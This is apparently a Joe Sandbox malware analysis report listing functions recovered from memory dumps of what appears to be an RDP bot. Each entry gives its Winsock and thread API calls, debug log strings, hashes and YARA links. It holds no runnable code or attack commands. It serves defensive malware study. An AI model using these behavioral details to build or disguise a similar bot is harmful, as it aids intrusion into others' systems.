Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleLock
String ID: (lock != NULL)$(path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateFileA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> LockFileEx failed(path=%s,gle=%lu)$[I] (%s) -> Done(path=%s,lock=%p)$fs_file_lock$service
API String ID: 2747014929-3958755462
Opcode ID: e08b57e1d64f4ed034d72367372542c59a4750ac954711598e8bb1b168df4860
Instruction ID: 29c3fe229583c29513c444b9ba4095ca36d96f5e6c49e6f175a7175697b2d29a
Opcode Fuzzy Hash: e08b57e1d64f4ed034d72367372542c59a4750ac954711598e8bb1b168df4860
Instruction Fuzzy Hash: 3C813D51A6C74A81F670FB14AD44BB8E170AF10354FD41232C96E06BD1EF2EE9E5932E

Function 00007FF8BFB526AC Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 139networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF8BFB526D0
htonl.WS2_32 ref: 00007FF8BFB5276C
htons.WS2_32 ref: 00007FF8BFB5277D
connect.WS2_32 ref: 00007FF8BFB52796
WSAGetLastError.WS2_32 ref: 00007FF8BFB527BC
select.WS2_32 ref: 00007FF8BFB5282C
WSAGetLastError.WS2_32 ref: 00007FF8BFB5283C
WSAGetLastError.WS2_32 ref: 00007FF8BFB5287E

Part of subcall function 00007FF8BFB52349: ioctlsocket.WS2_32 ref: 00007FF8BFB5236F

Part of subcall function 00007FF8BFB52294: setsockopt.WS2_32 ref: 00007FF8BFB522BC
Part of subcall function 00007FF8BFB52294: setsockopt.WS2_32 ref: 00007FF8BFB522E8

WSAGetLastError.WS2_32 ref: 00007FF8BFB528AB

Strings

[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FF8BFB528ED
[E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BFB5289A
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB5284F
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BFB528C3
tcp_connect, xrefs: 00007FF8BFB5272D, 00007FF8BFB52848, 00007FF8BFB52866, 00007FF8BFB52893, 00007FF8BFB528BC, 00007FF8BFB528E6
[W] (%s) -> select timedout(sock=0x%llx,timeo=%u), xrefs: 00007FF8BFB5286D
[E] (%s) -> connection failed(host=%08x,port=%u), xrefs: 00007FF8BFB52734

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLast$setsockopt$connecthtonlhtonsioctlsocketselectsocket
String ID: [E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> connection failed(host=%08x,port=%u)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$[W] (%s) -> select timedout(sock=0x%llx,timeo=%u)$tcp_connect
API String ID: 3154682637-708158336
Opcode ID: 48bcb164c9fc3a4126ab8f11bb80280af38d06ad61882bf559dc1bdf0a13afbf
Instruction ID: 0af79300722918e36015c8b8e59689991538625a6491e75bffb0e3765fa95fc6
Opcode Fuzzy Hash: 48bcb164c9fc3a4126ab8f11bb80280af38d06ad61882bf559dc1bdf0a13afbf
Instruction Fuzzy Hash: D051A221A0D64292FA209FADE820679B750EF967E4F140335EB2D47AE5EE7CF9058700

Function 00007FF8BFB81C3C Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 139networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF8BFB81C60
htonl.WS2_32 ref: 00007FF8BFB81CFC
htons.WS2_32 ref: 00007FF8BFB81D0D
connect.WS2_32 ref: 00007FF8BFB81D26
WSAGetLastError.WS2_32 ref: 00007FF8BFB81D4C
select.WS2_32 ref: 00007FF8BFB81DBC
WSAGetLastError.WS2_32 ref: 00007FF8BFB81DCC
WSAGetLastError.WS2_32 ref: 00007FF8BFB81E0E

Part of subcall function 00007FF8BFB818D9: ioctlsocket.WS2_32 ref: 00007FF8BFB818FF

Part of subcall function 00007FF8BFB81824: setsockopt.WS2_32 ref: 00007FF8BFB8184C
Part of subcall function 00007FF8BFB81824: setsockopt.WS2_32 ref: 00007FF8BFB81878

WSAGetLastError.WS2_32 ref: 00007FF8BFB81E3B

Strings

[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BFB81E53
tcp_connect, xrefs: 00007FF8BFB81CBD, 00007FF8BFB81DD8, 00007FF8BFB81DF6, 00007FF8BFB81E23, 00007FF8BFB81E4C, 00007FF8BFB81E76
[E] (%s) -> connection failed(host=%08x,port=%u), xrefs: 00007FF8BFB81CC4
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB81DDF
[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FF8BFB81E7D
[E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BFB81E2A
[W] (%s) -> select timedout(sock=0x%llx,timeo=%u), xrefs: 00007FF8BFB81DFD

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLast$setsockopt$connecthtonlhtonsioctlsocketselectsocket
String ID: [E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> connection failed(host=%08x,port=%u)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$[W] (%s) -> select timedout(sock=0x%llx,timeo=%u)$tcp_connect
API String ID: 3154682637-708158336
Opcode ID: 2d900ad6aae016cb7881416d4035a0b61a834254d7316688dcb34bb133ddfa1a
Instruction ID: 97a53e246706e74a661dee50ec7589796c367e2b6a0b2d83f33e373b99cdf991
Opcode Fuzzy Hash: 2d900ad6aae016cb7881416d4035a0b61a834254d7316688dcb34bb133ddfa1a
Instruction Fuzzy Hash: 8251D361A0E64282FA249FEDE8002B97350AFC57E4F148335DB6E87AD6EE7CE405C700

Function 00007FF8B915256C Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 139networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF8B9152590
htonl.WS2_32 ref: 00007FF8B915262C
htons.WS2_32 ref: 00007FF8B915263D
connect.WS2_32 ref: 00007FF8B9152656
WSAGetLastError.WS2_32 ref: 00007FF8B915267C
select.WS2_32 ref: 00007FF8B91526EC
WSAGetLastError.WS2_32 ref: 00007FF8B91526FC
WSAGetLastError.WS2_32 ref: 00007FF8B915273E

Part of subcall function 00007FF8B9152209: ioctlsocket.WS2_32 ref: 00007FF8B915222F

Part of subcall function 00007FF8B9152154: setsockopt.WS2_32 ref: 00007FF8B915217C
Part of subcall function 00007FF8B9152154: setsockopt.WS2_32 ref: 00007FF8B91521A8

WSAGetLastError.WS2_32 ref: 00007FF8B915276B

Strings

[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FF8B91527AD
[W] (%s) -> select timedout(sock=0x%llx,timeo=%u), xrefs: 00007FF8B915272D
[E] (%s) -> connection failed(host=%08x,port=%u), xrefs: 00007FF8B91525F4
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8B9152783
[E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8B915275A
tcp_connect, xrefs: 00007FF8B91525ED, 00007FF8B9152708, 00007FF8B9152726, 00007FF8B9152753, 00007FF8B915277C, 00007FF8B91527A6
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8B915270F

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: ErrorLast$setsockopt$connecthtonlhtonsioctlsocketselectsocket
String ID: [E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> connection failed(host=%08x,port=%u)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$[W] (%s) -> select timedout(sock=0x%llx,timeo=%u)$tcp_connect
API String ID: 3154682637-708158336
Opcode ID: 480825a7f3e30da42117ec77c43a9a645fda6539583568eb973d0f60dc714624
Instruction ID: 1743b3714314608f29ace11e4a20f0004e5f4b84467e38a7000053a60e9eaadd
Opcode Fuzzy Hash: 480825a7f3e30da42117ec77c43a9a645fda6539583568eb973d0f60dc714624
Instruction Fuzzy Hash: 0151E162E0C6C342E6608F2DE8502BA7B51AF857E4F140735DB2E86AE5EE7CF545E700

Function 00007FF8BA50256C Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 139networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF8BA502590
htonl.WS2_32 ref: 00007FF8BA50262C
htons.WS2_32 ref: 00007FF8BA50263D
connect.WS2_32 ref: 00007FF8BA502656
WSAGetLastError.WS2_32 ref: 00007FF8BA50267C
select.WS2_32 ref: 00007FF8BA5026EC
WSAGetLastError.WS2_32 ref: 00007FF8BA5026FC
WSAGetLastError.WS2_32 ref: 00007FF8BA50273E

Part of subcall function 00007FF8BA502209: ioctlsocket.WS2_32 ref: 00007FF8BA50222F

Part of subcall function 00007FF8BA502154: setsockopt.WS2_32 ref: 00007FF8BA50217C
Part of subcall function 00007FF8BA502154: setsockopt.WS2_32 ref: 00007FF8BA5021A8

WSAGetLastError.WS2_32 ref: 00007FF8BA50276B

Strings

[E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BA50275A
tcp_connect, xrefs: 00007FF8BA5025ED, 00007FF8BA502708, 00007FF8BA502726, 00007FF8BA502753, 00007FF8BA50277C, 00007FF8BA5027A6
[W] (%s) -> select timedout(sock=0x%llx,timeo=%u), xrefs: 00007FF8BA50272D
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BA50270F
[E] (%s) -> connection failed(host=%08x,port=%u), xrefs: 00007FF8BA5025F4
[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FF8BA5027AD
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BA502783

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: ErrorLast$setsockopt$connecthtonlhtonsioctlsocketselectsocket
String ID: [E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> connection failed(host=%08x,port=%u)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$[W] (%s) -> select timedout(sock=0x%llx,timeo=%u)$tcp_connect
API String ID: 3154682637-708158336
Opcode ID: 14883c677a07027e0c611d24d643234e2c749e44aaac6b3bbce7a29d53d8c958
Instruction ID: f29e85f105b10e1bd06e04ae41825b6e67d40bf1252c40f9d2709c6baae08e45
Opcode Fuzzy Hash: 14883c677a07027e0c611d24d643234e2c749e44aaac6b3bbce7a29d53d8c958
Instruction Fuzzy Hash: 4B51C171A0C64691E6715B9DAC9027E7A50AF577F0F0403B6EF2E866E5EE3CE7498300

Function 00007FF8B91850EC Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 139networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF8B9185110
htonl.WS2_32 ref: 00007FF8B91851AC
htons.WS2_32 ref: 00007FF8B91851BD
connect.WS2_32 ref: 00007FF8B91851D6
WSAGetLastError.WS2_32 ref: 00007FF8B91851FC
select.WS2_32 ref: 00007FF8B918526C
WSAGetLastError.WS2_32 ref: 00007FF8B918527C
WSAGetLastError.WS2_32 ref: 00007FF8B91852BE

Part of subcall function 00007FF8B9184D89: ioctlsocket.WS2_32 ref: 00007FF8B9184DAF

Part of subcall function 00007FF8B9184CD4: setsockopt.WS2_32 ref: 00007FF8B9184CFC
Part of subcall function 00007FF8B9184CD4: setsockopt.WS2_32 ref: 00007FF8B9184D28

WSAGetLastError.WS2_32 ref: 00007FF8B91852EB

Strings

[E] (%s) -> connection failed(host=%08x,port=%u), xrefs: 00007FF8B9185174
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8B918528F
[W] (%s) -> select timedout(sock=0x%llx,timeo=%u), xrefs: 00007FF8B91852AD
[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FF8B918532D
[E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8B91852DA
tcp_connect, xrefs: 00007FF8B918516D, 00007FF8B9185288, 00007FF8B91852A6, 00007FF8B91852D3, 00007FF8B91852FC, 00007FF8B9185326
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8B9185303

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLast$setsockopt$connecthtonlhtonsioctlsocketselectsocket
String ID: [E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> connection failed(host=%08x,port=%u)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$[W] (%s) -> select timedout(sock=0x%llx,timeo=%u)$tcp_connect
API String ID: 3154682637-708158336
Opcode ID: 140c814d8350784d58d8024ff37c9b0f12ab94c9893da5a29beb4d75926b9086
Instruction ID: de474c9d2c9ad6b980b99baed5f8b6aa1678db97d3a3f7e6e52bb6d4fb79f21f
Opcode Fuzzy Hash: 140c814d8350784d58d8024ff37c9b0f12ab94c9893da5a29beb4d75926b9086
Instruction Fuzzy Hash: A851A021B0C6C242EA205F5EE8803B97651EF447F4F141376EA6E476E6EE7CE506B701

Function 00007FF8BFB53B21 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 137threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BFB53B3C
CreateThread.KERNEL32 ref: 00007FF8BFB53B7C
GetLastError.KERNEL32 ref: 00007FF8BFB53BC4
GetLastError.KERNEL32 ref: 00007FF8BFB53C9C

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu), xrefs: 00007FF8BFB53CAE
Done, xrefs: 00007FF8BFB53D95
ebus_init, xrefs: 00007FF8BFB53BA9, 00007FF8BFB53BCF, 00007FF8BFB53CA7, 00007FF8BFB53D9C
, xrefs: 00007FF8BFB53BE2
~, xrefs: 00007FF8BFB53CE2
, xrefs: 00007FF8BFB53CBA
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB53BB0
[I] (%s) -> %s, xrefs: 00007FF8BFB53DA3
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu), xrefs: 00007FF8BFB53BD6
P, xrefs: 00007FF8BFB53CE7
~, xrefs: 00007FF8BFB53C42
P, xrefs: 00007FF8BFB53C4B

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLast$CountCreateCriticalInitializeSectionSpinThreadfflushfwrite
String ID: $ $Done$P$P$[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu)$[I] (%s) -> %s$ebus_init$~$~
API String ID: 1412730629-3633878399
Opcode ID: 9f20d362d937536f0ee4103508d9b1139d0d6585478f89b21611969e913930d6
Instruction ID: 34251e4118015d1a3cd8e34aa02af7461437978ae0d5fac4d080070c235717f1
Opcode Fuzzy Hash: 9f20d362d937536f0ee4103508d9b1139d0d6585478f89b21611969e913930d6
Instruction Fuzzy Hash: 45512666A0C74392FA2057DCA4E53786362AF053F5F280632C76E063E1DE6EB9A58711

Function 00007FF8BFB89FE1 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 137threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BFB89FFC
CreateThread.KERNEL32 ref: 00007FF8BFB8A03C
GetLastError.KERNEL32 ref: 00007FF8BFB8A084
GetLastError.KERNEL32 ref: 00007FF8BFB8A15C

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

, xrefs: 00007FF8BFB8A17A
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu), xrefs: 00007FF8BFB8A096
ebus_init, xrefs: 00007FF8BFB8A069, 00007FF8BFB8A08F, 00007FF8BFB8A167, 00007FF8BFB8A25C
, xrefs: 00007FF8BFB8A0A2
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB8A070
~, xrefs: 00007FF8BFB8A1A2
P, xrefs: 00007FF8BFB8A1A7
P, xrefs: 00007FF8BFB8A10B
Done, xrefs: 00007FF8BFB8A255
[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu), xrefs: 00007FF8BFB8A16E
[I] (%s) -> %s, xrefs: 00007FF8BFB8A263
~, xrefs: 00007FF8BFB8A102

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLast$CountCreateCriticalInitializeSectionSpinThreadfflushfwrite
String ID: $ $Done$P$P$[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu)$[I] (%s) -> %s$ebus_init$~$~
API String ID: 1412730629-3633878399
Opcode ID: 0b0dd3b090767c9c6ff8a136659d1bb65f72dbfd72b78c7ca576c1129c5fc752
Instruction ID: 7029d1a61f42383389ed57fb7f42d51e057ae3b48eec118ce04ae9991a799835
Opcode Fuzzy Hash: 0b0dd3b090767c9c6ff8a136659d1bb65f72dbfd72b78c7ca576c1129c5fc752
Instruction Fuzzy Hash: 4B51F210A0C74792FB706BDC94C43B8A3599F857E5F644336C72E562D3EE9EA885D301

Function 00007FF8B9151D21 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 137threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8B9151D3C
CreateThread.KERNEL32 ref: 00007FF8B9151D7C
GetLastError.KERNEL32 ref: 00007FF8B9151DC4
GetLastError.KERNEL32 ref: 00007FF8B9151E9C

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

P, xrefs: 00007FF8B9151EE7
[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu), xrefs: 00007FF8B9151EAE
[I] (%s) -> %s, xrefs: 00007FF8B9151FA3
~, xrefs: 00007FF8B9151EE2
, xrefs: 00007FF8B9151EBA
ebus_init, xrefs: 00007FF8B9151DA9, 00007FF8B9151DCF, 00007FF8B9151EA7, 00007FF8B9151F9C
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B9151DB0
Done, xrefs: 00007FF8B9151F95
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu), xrefs: 00007FF8B9151DD6
P, xrefs: 00007FF8B9151E4B
~, xrefs: 00007FF8B9151E42
, xrefs: 00007FF8B9151DE2

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: ErrorLast$CountCreateCriticalInitializeSectionSpinThreadfflushfwrite
String ID: $ $Done$P$P$[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu)$[I] (%s) -> %s$ebus_init$~$~
API String ID: 1412730629-3633878399
Opcode ID: 1286dc77dc5ff8d206b4c73fae07ba457630e6e20bbab24515aaab937f7757d7
Instruction ID: 439605a239a1357b075b33eedc372639c47cc1df4772bc1f6d6864ff7e16bfdc
Opcode Fuzzy Hash: 1286dc77dc5ff8d206b4c73fae07ba457630e6e20bbab24515aaab937f7757d7
Instruction Fuzzy Hash: 0551F720E0C7C382FA225F1CA4A437866529F053E5F668736C76E462E1DF6DF989B301

Function 00007FF8BA501D21 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 137threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BA501D3C
CreateThread.KERNEL32 ref: 00007FF8BA501D7C
GetLastError.KERNEL32 ref: 00007FF8BA501DC4
GetLastError.KERNEL32 ref: 00007FF8BA501E9C

Part of subcall function 00007FF8BA501292: fwrite.MSVCRT ref: 00007FF8BA50133E
Part of subcall function 00007FF8BA501292: fflush.MSVCRT ref: 00007FF8BA50134A

Strings

[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu), xrefs: 00007FF8BA501EAE
P, xrefs: 00007FF8BA501E4B
~, xrefs: 00007FF8BA501EE2
P, xrefs: 00007FF8BA501EE7
Done, xrefs: 00007FF8BA501F95
~, xrefs: 00007FF8BA501E42
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu), xrefs: 00007FF8BA501DD6
[I] (%s) -> %s, xrefs: 00007FF8BA501FA3
ebus_init, xrefs: 00007FF8BA501DA9, 00007FF8BA501DCF, 00007FF8BA501EA7, 00007FF8BA501F9C
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BA501DB0
, xrefs: 00007FF8BA501EBA
, xrefs: 00007FF8BA501DE2

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

